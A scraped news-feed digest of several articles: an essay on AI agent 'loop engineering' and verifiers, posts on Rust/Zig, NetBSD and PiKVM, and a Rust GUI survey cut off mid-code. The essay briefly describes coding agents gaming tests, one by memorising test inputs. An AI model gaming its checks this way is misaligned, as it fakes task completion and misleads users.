Knowing When to Stop: The Art of Making a Loop Converge

Hacker News
a16z.com
2026-08-22 16:21:14
Comments...
Original Article

How can an AI model know when its work is done?

Well, how does a human know when our work is done.

A programmer waits for the tests to turn green or waits for PR review from their team. A designer adjusts a composition, steps away, returns, and decides the remaining imperfections no longer matter. A writer submits a draft because the deadline has arrived or because an editor accepts it, not because the prose has reached some objectively final state.

“Done” is rarely a property of the work itself. It is a judgment produced by the system around the work. Humans do not possess a universal detector for “done”. We rely on a patchwork of signals like tests, specifications, precedent, approval, deadlines, risk, and finding that point of diminishing returns. In each case, completion comes from outside the work itself.

The Model that Could Continue Forever

An AI model can almost always produce another answer.

It can revise the paragraph again. It can try another implementation. It can generate another image with more detail, different lighting, and a stronger composition. It does not become tired of the work. It does not notice, unless we give it some way to notice, that the last three revisions made the result different but not necessarily better.

This is part of what makes the recent idea of loop engineering so compelling. Instead of a human prompting a model, inspecting the result, describing what went wrong, and prompting it again, we can ask the system to perform the whole cycle itself. The person no longer has to sit inside every turn. The agent discovers the work, gives it to the model, checks the result, and decides what should happen next.

X avatar for @steipete

Peter Steinberger 🦞 @steipete

Here’s your monthly reminder that you shouldn’t be prompting coding agents anymore.

You should be designing loops that prompt your agents.

  • 6:58 PM · Jun 7, 2026

  • 8.5M

  • 1,796

  • 1,414

  • 19,839

However, the nuance when writing a loop is that the loop is only as good as the verifier at each step . Even before we started talking about loop engineering, everything already runs as a loop, just with a very expensive tool call – human hand prompting and serving as the verifier. When taking humans out of the loop, designing what should be verified in each step becomes the key in advancing the loop state, and the reality is it’s hard to make them work.

Take the standard coding-agent loop as an example: keep working until the tests pass. It sounds almost perfectly verifiable. But the tests are only a proxy for the task. In SpecBench , frontier agents routinely passed the visible tests while failing held-out tests that exercised the same features together. One agent produced a 2,900-line “compiler” that simply memorized the test inputs. The loop converged, but just on the verifier, not the user’s intent.

The verifier is not just the stop condition. It also defines what the loop treats as progress. If the signal is incomplete, the loop can get better at passing the check without getting better at the task.

Loop engineering is not the practice of making an agent retry. It is the practice of making each cycle reduce the distance between the current state and a desired state. A loop is not yet a direction.

The Loops that Converged

The first loops that worked well were coding loops. This is not an accident. Code is both editable and executable. An agent can change one function, run the program, read the test failure, and try again. The environment returns a relatively clear signal about what broke. The loop has both a precise way to act and a verifier that can measure progress.

I wrote about a similar pattern in visual code generation . An SVG is not just an image; it contains paths, shapes, text, gradients, and layout. A Blender scene is not just a render; it contains geometry, materials, cameras, joints, and constraints. These representations give an agent something it can inspect and edit locally. If one curve is wrong, change the path. If one object is misplaced, move that object. The artifact can improve across iterations instead of being regenerated from scratch.

But editability is only half of the problem. In open-ended image generation, another iteration often means generating another sample and choosing the best one. The feedback is global, and it is hard to map “this looks worse” to one precise edit. SVG and Blender loops can converge when the target can be expressed as a reference, geometry, constraints, or functional behavior from an articulated object. They struggle when the target is simply “make it better, with better taste, but you cannot ask a human”. Visual loops are not impossible. They are often extremely hard to verify.

The Conditions of Completion

If the verifier gives the loop direction, what does the loop need to converge?

Based on many conversations with engineers and researchers across several domains, I think there are four things.

1. A target state

The system needs a representation of what “done” means. For code, this might be a test suite, a specification, or a set of performance constraints. For an SVG, it might be a reference image, dimensions, colors, and layout rules. “Make it better” is not a target state. It is another prompt.

2. An observable current state

The system needs to inspect what exists now. And that could mean files, diffs, test results, traces, a DOM tree, an SVG structure, or a Blender scene graph. A rendered output alone is often not enough. The system also needs to see the underlying structure so it can identify where the error came from.

3. A precise way to make changes

The agent needs to change the part responsible for the error without regenerating everything else. Changing one function is better than rewriting the repository. Editing one SVG path is better than generating a new image. Adjusting one object in a Blender scene is better than rebuilding the scene from scratch. The more local the edit, the more likely the loop is to preserve what already works.

In practice, this is the part people struggle to get right. Nearly every researcher I talked to said the same thing: their loop started working when they found the right set of tool calls and intermediate prompts. How do you discover the tools that meaningfully advance the loop? Right now, no one knows in advance. It is mostly trial and error.

Which points to an uncomfortable implication : a loop is tuned to its stack . The tool calls that made a loop converge on one codebase encode assumptions about that codebase, and those assumptions stop holding somewhere else. A loop that worked for someone else is a starting point, not a guarantee. Bespoke loops do not generalize for free. And this is why we see both sides of the discussion: some people found magical loops that worked for them, but others found when they use publicly published loops they do not work at all.

4. A stopping rule

The system needs a condition that tells it to stop. The condition should come from outside the generator: tests passing, constraints being satisfied, a score crossing a threshold, or a reviewer approving the result. The stop condition also needs to account for cost – a loop that reaches the right answer after 500 attempts may converge technically but not economically.

One useful way to think about this is across two axes: how editable the artifact is, and how verifiable the result is.

Code often sits in the upper-right corner. It is easy to edit, and it has relatively strong verifiers. Open-ended image generation often sits in the bottom-left. The system can generate another image, but it cannot easily repair one specific decision or verify that the result is closer to the user’s intent.

One important property of the chart above is that the position of a task can potentially move by reframing a problem. The axes describe the representation, not the task itself. An open-ended image is hard to edit, but the same image, represented as SVG paths or a Blender scene, becomes editable — the task moves up. Give it a reference image or a set of constraints to check against, and progress becomes verifiable, which moves the task to the right. This is another way to describe loop engineering: not making the agent retry more, but re-representing the task until it sits in the quadrant where loops converge.

Loops are Discovered Before They are Engineered

I interviewed programmers from different domains who all are working on some form of loop engineering – from software engineering to visual and creative tasks to video editing. And I asked each one the same question – how did you know the loop would converge and iteratively improve?

The answer is today’s process of discovering a loop that works takes a lot of trial and error. It may be providing the right tool calls; or leaving the loop running for hours to see if it did much better than hours before (and if the improvement curve is promising). It may be going deep on specific workflows they have run in specific environments and replicating exactly that.

But discovering loops that can work everywhere is hard, and it’s almost like we are trying to encode the human knowledge into the loop itself; we first must deeply understand what makes the loop work, or find creative ways to build a verification layer, before attempting to automate it away.

However, finding a loop is only the upfront cost. Running the loop is the major cost that comes with every development cycle.

The Economics of Loops

So suppose the trial and error pays off, and you’ve found a loop that works. The simplest version of this is /goal [condition]. Keep going until the condition is met. And the loop will eventually get there.

“Eventually” is the problem. Would you run 20 iterations or 500? The honest answer is that the loop does not know, and neither does the human developer at the time of kicking off that loop, which makes the economics of running loops tricky.

What we do know is the shape of the curve. Across almost every study of test-time compute, returns are logarithmic: each additional increment of quality costs exponentially more attempts. 1 One web-agent benchmark found that going from 1 sample to 10 lifted success from 38.8% to 43.2%. Doubling again to 20 bought 0.2 more points for twice the tokens. 2 And past the plateau the marginal iteration can turn negative: reasoning models given larger budgets start abandoning answers that were already correct. More cycles do not just stop helping. They start hurting. 3

I tested out one of the most popular loop examples in the wild from Anthropic’s own loop-engineering post :

and found that the incremental token spend moves the needle far less than the loop’s runtime suggests.

On a deliberately broken page (Lighthouse 35), Claude Code cleared 98 on the very first try for $0.35: the loop never engaged as expected. So I made the goal unreachable: same page, but served behind 2.2 seconds of artificial latency that caps the score around 89, and asked for 100.

The first $1.40 of spend took the score from 26 to 89. The remaining $2.84, 67% of the total bill, bought exactly zero points : turn after turn of re-minifying HTML and re-running Lighthouse against a bottleneck the agent couldn’t change, each turn more expensive than the last as the transcript grew (and the Haiku evaluator quietly accumulated $0.67 on its own). Worse, the loop’s escape hatch is unreliable: Claude correctly diagnosed the latency ceiling and declared the goal impossible around try 5, and the evaluator model bounced it back 14 times anyway. 4

The lesson isn’t that loops don’t work; it’s that they have no idea how to stop. In this run, all the value landed in the first third of the spend, but the loop continued, burning tokens for an impossible task with marginal return.

Stopping well isn’t something one can prompt into existence. It takes infrastructure: something to meter the spend, something to measure progress against it, and something with enough information to cut the loop off. Loop engineering has an infra stack, and below are the layers.

The Stack for Loop Engineering

Once the loop becomes the unit of engineering, models and developers need infrastructure at every layer: an environment for the agent to act, a place to keep long-running state alive, a way to verify the work or close the loop, and a surface where humans steer. A stack has already formed around each category:

Inference Time vs Training Time Loops

Another lens to look at the loop engineering problem is from the perspective of inference vs training time.

At inference time, the loop changes the work, not the model. The agent writes code, runs verifiers, reads the result, and tries again. Its weights stay fixed and the system is searching for a better answer within one task leveraging test time compute.

At training time, the process looks like using reinforcement learning techniques that run many trajectories, scores the outcomes, and updates the model so rewarded behavior becomes more likely. The same rule applies in both cases: the loop is only as good as its verifier. In an agent loop, that verifier might be a test suite. In RL, it is the reward signal. Sometimes the two are the same.

The two loops can eventually feed into each other. Inference-time runs produce traces of what worked, what failed, and which corrections led to success. Those traces can become training data, preference pairs, or rewards, allowing the model to learn behavior it previously had to discover through expensive search. But not every failure should be solved through training. Often the higher-leverage fix is outside the weights: a better tool, clearer state, a more precise action space, or a stronger verifier.

Future Implications

Today, most agent infrastructure and harnesses can help us run loops. The harder problem is finding a loop worth running, and finding the point before diminishing returns for the task at hand.

Two things seem clear to me from watching these loops run.

The first is that the economics will have to become explicit. Right now we run loops the way we once ran cloud instances nobody remembered to turn off. The agent bills by the token, and the token costs the same whether it moves the score or re-minifies the same HTML for the ninth time. In my Lighthouse run, two-thirds of the spend bought nothing, and neither the loop nor I knew it until I read the trace afterward. The missing piece is boring yet necessary: cost per iteration, progress per dollar, a curve someone can see while the loop is still running.

The second is that for the loops that already converge, the interesting infra work has moved out of the loop. The loop itself is a while-statement and everything that makes it converge lives around it: the environment the agent acts in, the state that survives a long run, the verifier that decides what counts, the surface where a human steps in. Every working loop I’ve seen took a stack like this to build, and the stack is where differentiation actually sits.

So how does an AI model know its work is done? For now, it doesn’t. It stops when the budget runs out or when a check we designed says enough, and both of those need to be built. The systems that matter will not be the ones that can keep going. They all can. They will be the ones whose builders decided, precisely and in advance, what done costs and what done means.

If you are working on the loop engineering problem, doing research in this domain, or have thoughts on how this space will evolve, reach out to yli@a16z.com.

Fast and Hard Code

Hacker News
lucumr.pocoo.org
2026-08-22 15:56:38
Comments...
Original Article

written on August 22, 2026

One of the memes on Twitter is that “programming is solved now.” I’m not sure to what degree it is, but one thing is pretty clear: the act of familiarizing yourself with a language no longer matters and some of the friction that mattered for humans does not matter for agents.

As a result, LLMs make language choice much less consequential than it used to be. If you don’t like the choice, you can seemingly rewrite it in another language and you can make it pick a language that you, as a programmer, are entirely unfamiliar with.

Which in turn means that people can, and do, choose based on the marketing of languages much more. As a long-term Rust programmer I found it quite fascinating to see people now ship Rust code who previously might not have chosen it. I attribute at least one part of this to two recent vibe shifts: there is a lot more talk about wanting fast software, and about LLMs being exceptional at optimizing code without regressing behavior.

Folks like Mitchell Hashimoto, Charlie Marsh, Jarred Sumner, Daniel Lemire and quite a few others always carried a certain level of obsession with fast and performant software and they also all happen to be receptive to agents writing code. Maybe as a result, or unrelated others are now joining in. That’s because with things like autoresearch you don’t even necessarily need to know all the tricks: you just need to put an agent on it — though knowledge greatly helps!

If you look around, there are plenty of projects that want to be fast and small, and they increasingly pick “hard languages”. And it’s not just Rust that is benefiting. Even Zig — despite the fact that the creators and parts of the core community are pretty negative on the whole AI thing — is too. For instance Cloudflare’s new Artifacts service uses a pure-Zig Git-protocol engine, compiled to a roughly 100 KB WebAssembly module and Vercel released fx , a Zig coding agent advertised to be small and fast. From what I can tell, all these projects are largely LLM-assisted.

But it’s not just people picking less common languages but also that they are increasingly working with “much harder” technologies. All of a sudden I have seen people do some really impressive stuff with DWARF files, eBPF, custom network drivers, custom crypto and really old computing hardware. Many of these things were previously off-limits for lots of developers. In some cases (eg: crypto) you were even pushed away because those things were intentionally gatekept by the people in the know.

So maybe the world will have more slop, but it might also have more developers in it, that want things to be fast and small.

This entry was tagged ai , programming and thoughts

copy as / view markdown

English ↔ Claudish Translator

Hacker News
programasweights.com
2026-08-22 15:19:15
Comments...

NetBSD and My Life (2005)

Hacker News
mail-index.netbsd.org
2026-08-22 15:07:46
Comments...
Original Article
Subject: NetBSD and my life...
To: None <netbsd-advocacy@netbsd.org>
From: gary rolland <rollandgary@gmail.com>
List: netbsd-advocacy
Date: 09/10/2005 16:40:17
Hello NetBSD Team,

I have been using NetBSD for about two years on my laptop and never
had any problems. I use this laptop in work and at home. I knew NetBSD
was capable of much more, and I was hell bent on using it at work too!

The main reason for this email is to let you guys know what we mainly
use NetBSD for - supporting over 4,800 heavy users (some remote) and
counting. It's my story about what NetBSD has done for my life, and
how it has actually improved my personal life. I hope you will enjoy
it and that it'll offer further encouragement to continue the truly
excellent work.

I'll start off by introducing myself. My name is Gary Rolland and I
live in the United Kingdom. I work in a team consisting of three other
network admins. We all work for a large UK based company. Our task is
to keep the servers up and to do maintenance. We work on shifts and
can be called out at any time, night or day. We are not responsible
for the client machines within the buildings. Sadly, I am unable to
disclose the actual company name. I received permission to give you
information about what we use NetBSD for and that only (I begged
infact). Our network is mission critical - down time costs the company
mega money. I certainly would not want to foot the bill!

(Note: I have also been told not to disclose network infrastructure in
great detail. If you have any comments/questions, please do ask. I'll
try my best to answer them the best I can)

Currently, our network consists of 29 high end servers. They all run
NetBSD 2.0.2 and deal with extremely high loads. The servers handle:

- MySQL databases - This makes up most of our traffic/resource usage.

- Apache - Internal and external

- Postfix - Interval and external email=20

- Samba - Allow the 4,800 users to connect to the NFS.

(Note: Our file servers are connected to NetBSD. So it's like=20
Users->NetBSD->File server. Our file servers run Linux. Am not allowed
to touch them! However, the email and httpd data is stored directly on
the NetBSD servers. Just for your information, our file servers go
down more than our servers;-))

Data facts(avg. per day):

- NetBSD pushes over 870GB of data per day.
- NetBSD pushes about 1,200 emails per day (not always work related. I
have seen joke emails a while back with 12MB attachments! (12MB x 4500
:()).
- NetBSD during peak hours, our httpd servers can deal with 35
requests per minute(internal and external). The website is wrote in
pretty heavy PHP (and bad PHP, but that's not my call).

Originally our network servers used Windows, running on more older
hardware than we have now. We have recently been through an upgrade.

I can describe my admining of Windows as a complete f*cking nightmare.
I was constantly worrying over when they would fall over. Here is a
small story:

I had been promising my 12 year old daughter and her friend that I
would take them to Alton Towers. The night before we had planned to
go, I raced into the server rooms and checked everything was running.
I was happy things would be OK, because I was on call out the next day
and I couldn't let my daughter down again(this has happened more than
once). We was having a great time at Alton Towers and the worst thing
happened. My work phone starts to ring. My daughters face just
dropped, she knew exactly what was coming next.

Boss: 'Gary, servers have all dropped to their knees. I need you here now.'
Me: 'Sure, I'll be there in a few hours' (in a 'am going to kill
someone voice').

It really upset me to see my daughter let down again, including a
friend. They had been talking about going all week and Microsoft
Windows of all things messes everything up.

Here I am, speeding up the motorway. My daughter completely pissed
off, and for due reasons to. This has happened many other times
before. I was even getting abit ratty at home since I'd be thinking of
anything which could go wrong. This also lead to more arguments with
the wife (which leads to a decrease in other things... ;)

I knew something had to change.

After I had fixed the problem, I stormed into my bosses office and
explained we need more admins or need to change our servers. Cut a
long story short, he allowed me to trial test two of our servers on
NetBSD. He didn't know anything about it - just that I promised him I
could increase the stability by a huge margin without disrupting
business.

That day I was in a mood to change things(pissed), and so I took two
servers home. One was what we call a 'MySQL' server and one httpd
server(the bosses go nuts if the httpd goes down).

I had no room to fail.

I was up till 4 AM in the morning installing and configuring things to
our exact needs.   NetBSD as always installed flawlessly and I
installed most required software from pkgsrc.

I roled these machines into the network in the morning. I knew I had
to wait now, until something crashed on Windows and to show my boss
which machines still stood strong.

That day, a few  MySQL machines just decided to go for a quick break,
and rebooted themselves a few times(MySQL queries began to be far too
slow). The boss was storming(due to the day before also). I showed him
which machines did not fall down. He agreed within two hours for me to
role out more NetBSD machines slowly.

I was happy.

At first it was hard. The other admins had no clue how to use NetBSD.
However, with the time we spent fixing the Windows servers, we now had
spare time. I began to show them how to configure things and they
actually took a personal interest. They installed it at home and began
to tinker with it, making sure they understood how to compile kernels
etc etc. You know the stuff am talking about! I even printed the whole
handbook out for us.

Our whole Network was now running NetBSD.

Things changed. I was not as busy as I always was. My relationships
where getting better. I had more time with my daughter to watch her
grow up. The rest of my team agreed - this had been the best move we
had ever made. The boss also agreed. He was delighted with our
improved stability. Infact, he was so happy that none of us are now on
call out of a weekend. We're allowed to admin from home using ssh(we
take turns per weekend).

My team and I are constantly working and learning. We're becoming more
and more efficient with NetBSD.

NetBSD changed my teams life for the better.

Last weekend I took my family to Alton Towers to finish what we
started. We had a fantastic time! During the way home, this time not
speeding, I has thinking about the people behind it. Those who put in
time, little or large to make the project what it is. I decided to
tell you guys my story, to show your work is greatly appreciated!

Once more, thanks again for the all the work. Please keep it up.
Please use this email in any way you wish. Post it on your personal
website or whatever.

Best Regards,
Gary Rolland.

PiKVM project has gained support for web-camera forwarding

Lobsters
docs.pikvm.org
2026-08-22 14:41:43
Comments...
Original Article

Official PiKVM V4 Mini/Plus and PiKVM V3 devices have an exclusive webcam feature. With it, you can transfer an image from your local web camera to the remote host to use it for streaming, video calls, debugging, and so on.

The host sees the virtual camera as a completely ordinary USB device which doesn't require any special drivers. The maximum supported resolution at present is 1280x720.

If you also want enable a microphone for video calls and other applications, after this instruction, please follow here .

Limitations

By installing the ucamera (follows), you agree that it will be used only on official PiKVM V3 and PiKVM V4 devices.

We put a lot of effort into making this feature possible, so we want to keep it exclusive to PiKVM for a certain period. After that, we will publish the full source code of ucamera under GPLv3.

Please note that this feature is in early access. Using the camera may cause PiKVM to fail. This is not fatal for PiKVM V3 and V4 since they have a robust hardware watchdog which reboot your device after a fail, but just remember that not everything can work perfectly.

If you encounter a problem, we will be glad to receive your bug report to fix it: use our support chat or GitHub Issues .


Enabling the camera

USB limitations

Each emulated USB device consumes a limited hardware resource called endpoints . On the default PiKVM, you can add only one or two of additional USB devices depending of its endpoint requirements.

See here to get more information about the endpoints, add devices and flexibly manage the configuration on the fly.

Also note that all USB devices uses the same USB identifiers as the keyboard, mouse and other stuff. You can change everything together, but not separately.

A recommended hardware modification for PiKVM V3

PiKVM V3 is a good old workhorse that was not designed for the kind of computing loads that the camera provides. It was released many years ago and was made for completely different requirements. However, we want V3 users to be able to enjoy our latest features as long as possible.

A cooling system fan is installed inside V3, but there is no radiator on the CPU since it was simply not needed.

Using the camera uses a lot of hardware blocks that we haven't used before, so in order to avoid potential overheating (if the fan is turned off or fails), we recommend buying and attaching additional heatsinks .

Both PiKVM V4 contains a good heatsink inside, so no modifications are required.

  1. Perform OS update:

    Updating PiKVM OS

    Tip

    We recommend updating PiKVM OS only if you have physical access to the device, or in the most extreme cases. The update process is very reliable, but there is always a small chance that something may go wrong so reflashing will be required. PiKVM cannot be bricked, but you need physical access to the memory card for this operation.

    To update, run following commands under the root user:

    [root@pikvm ~]# pikvm-update
    

    If you encounter an error like:

    [root@pikvm ~]# pikvm-update
    bash: pikvm-update: command not found
    

    It's most likely you have an old OS release. You can update the OS as follows:

    [root@pikvm ~]# rw
    [root@pikvm ~]# pacman -Syy
    [root@pikvm ~]# pacman -S pikvm-os-updater
    [root@pikvm ~]# pikvm-update
    

    Next time you will be able to use the usual method with pikvm-update .

  2. Switch filesystem to RW-mode:

  3. Install ucamera package:

    [root@pikvm ~]# pacman -S ucamera
    
  4. Add a config to /etc/kvmd/override.yaml :

    otg:
        devices:
            camera:
                enabled: true
    
  5. Add parameter gpu_freq=700 to /boot/config.txt on a separate line .

  6. Add parameter isolcpus=3 to /boot/cmdline.txt **to the end of existing one-line, separate with a space`.

  7. Perform reboot:


Using the camera

To use the camera, you will need Firefox, Chrome, or Safari of the latest version, operability on old/other browsers is not guaranteed. If you use macOS, you will have to update macOS entirely to update Safari.

A camera is a device that is completely controlled by the host. The host tells it when to turn on the stream and what resolution should be used.

To receive audio in the PiKVM Web UI, go to the System menu and switch the video mode to WebRTC . Before using the camera, you need to allow the PiKVM Web UI to access it. Enable Multimedia switch and enable the Camera switch too. You can also choose a specific device. The settings are saved in the browser's local storage.

When the host asks the PiKVM device to provide it with an image, the stream will start.


Troubleshooting

  • If the browser does not play sound or does not show multimedia submenu, try a different browser and/or incognito mode without extensions. Firefox and Google Chrome works best.

  • Check the log: journalctl -u kvmd-janus -u ucamera .

  • If nothing helped, please report about the problem to our support

An arcade fighting game over SSH

Lobsters
sshfighter.com
2026-08-22 14:24:43
This is an intriguing demonstration of terminal graphics capabilities, and has a strong retro Street Fighter feeling. Comments...
Original Article

Fight in your terminal

SSH
Fighter

An arcade fighting game that runs entirely over SSH — hand-drawn pixel sprites, ranked matches, replays and a bot API. No install, no download. Just connect and fight.

No install 18 fighters Ranked ladder

$ ssh sshfighter.com ↵ to play

1 Fighters online

3 Live matches

81 Registered players

5,397 Matches played

1,441 Last 24 hours

5,397 Replays saved

Bring your own fighter — the bot API

Register over SSH, then let an agent enter the Open League. Bot identities are marked automatically; humans can choose a bot opponent in Quick Match or switch to human-only matchmaking.

A 2026 Survey of Rust GUI Libraries

Lobsters
blog.wybxc.cc
2026-08-22 13:52:17
Comments...
Original Article

Link to this section A 2026 Survey of Rust GUI Libraries

It has been more than one year since boringcactus’s A 2025 Survey of Rust GUI Libraries . That was indeed a very interesting blog; so interesting that I wanted to try it myself. So I will be testing and reviewing each of the libraries listed on the Are We GUI Yet? website.

The task I chose is a QR Code Generator. The interface has a text box; when text is entered, the Rust backend calculates the corresponding QR Code based on the text and displays it below the text box.

This task can cover many aspects that GUI frameworks need to consider. For example, the text box involves IME support, and displaying images from the backend tests the framework’s compatibility with the existing Rust ecosystem. In addition, this task is also a simplified version of a real example I encountered when I first used Rust to develop a GUI program this year.

Beyond basic feature completeness, I’ll also give a fairly subjective usability rating, covering state management, styling, the complexity of scaffolding an initial project, and the editor experience.

To get a realistic feel, I’ll try to hand-write each task as much as possible. Of course, in 2026, a major difference is the practical adoption of coding agents. If, during this survey, I come across a framework whose correct usage I can’t figure out myself, but a coding agent can write the correct code on my behalf, then I’ll still give that framework some credit for usability.

I’m on macOS, so the survey will be based on the macOS platform. For certain Windows-specific frameworks, I will also try running them in a Windows VM.

The conclusion and the table are at the end of this article.

Link to this section Azul

When I opened Azul’s homepage , I was greeted by a rather ambitious page introducing Azlin Workspace, Azlin UI Toolkit, and Azlin OS. Although Azlin Workspace is basically a bunch of “Coming Soon” notices, and I’m not sure how Azlin relates to Azul, I still managed to get past the homepage and find the correct user documentation on GitHub.

It looks like Azul just released version 0.2.0, and according to the docs, I can simply install its runtime library via Homebrew. Then, since Azul isn’t published on crates.io, I had to clone its Git repo and run it to generate the Rust API bindings.

The first snag came right away: rust-analyzer didn’t recognize the Rust code that Azul generated. It compiled and ran fine, but all editor hints for the relevant types were gone.

Well, that’s not a huge deal; at least cargo doc is available. It’s like going back to programming in the pre-LSP era.

After spending 10 minutes digging through the cargo docs and repeatedly invoking the compiler, I finally managed to stick a text box into its original example. But then, no matter what I did, I couldn’t get any text I typed into the box to actually show up. So I asked Codex to help me debug this issue, and it turned out that Azul apparently couldn’t read fonts installed on the system. That alone is almost enough to rule out using Azul for this purpose. Not wanting to waste any more of my time (and tokens), I decided to move on to the next framework.

Link to this section Blinc

Blinc is a very new framework. It only released its first version in early 2026. Like many Rust GUI frameworks, Blinc uses wgpu as its rendering backend and adopts a reactive programming model. With rapid iteration, some examples in its official documentation are already outdated.

The TextInput component feels unfinished: it doesn’t let you set a font, and its reactive behavior requires manually triggering in the on_change event. Meanwhile, TextArea allows you to specify a signal as the target to trigger when it updates. However, I don’t think either of these approaches really conforms to the reactive standard. True reactivity shouldn’t require you to manually handle events or signals; it should directly propagate changes in input controls to wherever the state is used.

TextInput ’s default font doesn’t support CJK character display. IME works fine, but the composer position doesn’t align with the text box position.

macOS’s accessibility features don’t work either; screen readers can’t read out the content in the window.

Full Code
use base64::Engine as _;
use blinc_app::prelude::*;
use blinc_app::windowed::{WindowedApp, WindowedContext};

fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();

    let mut buf = Vec::new();
    img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
    Ok(buf)
}

fn main() -> Result<()> {
    tracing_subscriber::fmt()
        .with_max_level(tracing::Level::INFO)
        .init();

    let config = WindowConfig {
        title: "QRCode Generator".to_string(),
        width: 400,
        height: 400,
        resizable: false,
        ..Default::default()
    };

    WindowedApp::run(config, build_ui)
}

fn build_ui(ctx: &mut WindowedContext) -> impl ElementBuilder + use<> {
    let text = ctx.use_state_keyed("text", || {
        text_input_state_with_placeholder("https://example.com")
    });

    div()
        .w(ctx.width)
        .h(ctx.height)
        .padding(Length::Px(10.0))
        .flex_col()
        .bg_surface()
        .gap(24.0)
        .child(label("Enter text to generate QR code:").text_center())
        .child(text_input(&text.get()).on_change({
            let text = text.clone();
            move |_| text.update(|text| text)
        }))
        .child(stateful::<NoState>().deps([text.signal_id()]).on_state({
            let text = text.clone();
            move |_| {
                let text = text.get().lock().unwrap().value.clone();
                let img = qr_encode(&text).unwrap_or_else(|_| Vec::new());
                let b64 = base64::engine::general_purpose::STANDARD.encode(&img);
                div()
                    .w_full()
                    .flex_grow()
                    .flex_col()
                    .child(image(format!("data:image/png;base64,{b64}")).self_center())
            }
        }))
}

Link to this section Cacao

Cacao is a Rust binding for macOS AppKit. Honestly, I’d never tried this crate before. I expected it to be full of unspeakable unsafe things interacting with low-level Objective-C code. But after actually using it, I found its API surprisingly clean.

Cacao’s recommended programming model is event-driven. Components in the inner layers can send events to the top level, where an event dispatcher modifies the state based on the information carried by the events. This is somewhat similar to the Elm architecture, but not as purely functional.

Since it uses native macOS text input boxes, IME support is excellent. What surprised me, though, is that the screen reader didn’t work properly. It seems some setting might need to be enabled, but I don’t want to spend more effort digging through the docs to find it.

Full Code
use std::sync::Mutex;

use cacao::appkit::window::{Window, WindowConfig, WindowDelegate};
use cacao::appkit::{App, AppDelegate};
use cacao::image::{Image, ImageView};
use cacao::input::{TextField, TextFieldDelegate};
use cacao::layout::{Layout, LayoutConstraint};
use cacao::notification_center::Dispatcher;
use cacao::text::Label;
use cacao::view::View;

fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();

    let mut buf = Vec::new();
    img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
    Ok(buf)
}

struct MyApp {
    window: Window<AppWindow>,
}

impl Default for MyApp {
    fn default() -> Self {
        let window = Window::with(WindowConfig::default(), AppWindow::default());
        Self { window }
    }
}

impl AppDelegate for MyApp {
    fn did_finish_launching(&self) {
        App::activate();

        self.window.set_minimum_content_size(400., 400.);
        self.window.show();
    }

    fn should_terminate_after_last_window_closed(&self) -> bool {
        true
    }
}

impl Dispatcher for MyApp {
    type Message = String;

    fn on_ui_message(&self, text: String) {
        let buf = qr_encode(&text).unwrap_or_else(|_| Vec::new());
        let image = Image::with_data(&buf);
        let window = self.window.delegate.as_ref().unwrap();
        window.image.lock().unwrap().replace(image);
        window
            .image_view
            .set_image(window.image.lock().unwrap().as_ref().unwrap());
    }
}

struct AppWindow {
    label: Label,
    input: TextField<MyInput>,
    image_view: ImageView,
    image: Mutex<Option<Image>>,
    content: View,
}

impl Default for AppWindow {
    fn default() -> Self {
        Self {
            label: Label::new(),
            input: TextField::with(MyInput),
            image_view: ImageView::new(),
            image: Mutex::new(None),
            content: View::new(),
        }
    }
}

impl WindowDelegate for AppWindow {
    const NAME: &'static str = "WindowDelegate";

    fn did_load(&mut self, window: Window) {
        window.set_title("QR Code Generator");
        window.set_minimum_content_size(300., 300.);

        self.label.set_text("Enter text to generate QR code:");
        self.content.add_subview(&self.label);
        self.content.add_subview(&self.input);
        self.content.add_subview(&self.image_view);
        window.set_content_view(&self.content);

        LayoutConstraint::activate(&[
            self.label
                .center_x
                .constraint_equal_to(&self.content.center_x),
            self.label
                .top
                .constraint_equal_to(&self.content.safe_layout_guide.top),
            self.label.width.constraint_equal_to_constant(280.),
            self.label.height.constraint_equal_to_constant(30.),
            self.input
                .center_x
                .constraint_equal_to(&self.content.safe_layout_guide.center_x),
            self.input
                .top
                .constraint_equal_to(&self.content.safe_layout_guide.top)
                .offset(30.),
            self.input.width.constraint_equal_to_constant(280.),
            self.image_view
                .center_x
                .constraint_equal_to(&self.content.center_x),
            self.image_view
                .top
                .constraint_equal_to(&self.content.safe_layout_guide.top)
                .offset(50.),
            self.image_view.width.constraint_equal_to_constant(200.),
            self.image_view.height.constraint_equal_to_constant(200.),
        ]);
    }
}

#[derive(Default)]
struct MyInput;

impl TextFieldDelegate for MyInput {
    const NAME: &'static str = "MyInput";

    fn text_did_change(&self, value: &str) {
        App::<MyApp, String>::dispatch_main(value.to_string());
    }
}

fn main() {
    App::new("com.hello.world", MyApp::default()).run();
}

Link to this section Core-Foundation

Strictly speaking, Core Foundation is not really a GUI library; it just provides some bindings to macOS system APIs. So I don’t think it’s reasonable for it to be listed on “Are We GUI Yet?”. In the same repository, there is a cocoa crate that does provide bindings to the AppKit GUI library, but its underlying dependencies are outdated and it’s very unidiomatic Rust 1 1. which is what I meant by “unspeakable unsafe things interacting with low-level Objective-C code” , so I’ll skip it for now.

Link to this section Crux

Boringcactus gave Crux a positive review in hir evaluation last year, but since ze said Crux only had mobile bindings and no desktop bindings, ze didn’t actually test its functionality. Today, while checking the documentation, I found that Crux now has macOS bindings, so I decided to actually pull it out and compare it here.

I followed Crux’s documentation to set up the project scaffold. Since Crux itself doesn’t provide a GUI but rather an interface from the Rust core to various GUI shells, setting up the scaffold is slightly more complex than the previous projects, but still within a reasonable level of complexity. Once the setup was complete, it was easy to change the functionality from the Counter example to this survey’s QR code generator.

On macOS, Crux uses SwiftUI for the interface. Since our evaluation criteria basically only look at the GUI side, it’s a bit unfair to compare SwiftUI with other Rust GUI frameworks. SwiftUI’s support for IME and screen readers is native and first-class.

Full Code

Rust:

use crux_core::bridge::{Bridge, EffectId};
use crux_core::macros::effect;
use crux_core::render::{RenderOperation, render};
use crux_core::{App, Command, Core};
use facet::Facet;
use serde::{Deserialize, Serialize};

fn qr_encode(text: &str) -> anyhow::Result<Vec<u8>> {
    let code = qrcode::QrCode::new(text.as_bytes())?;
    let img = code.render::<image::Luma<u8>>().build();

    let mut buf = Vec::new();
    img.write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)?;
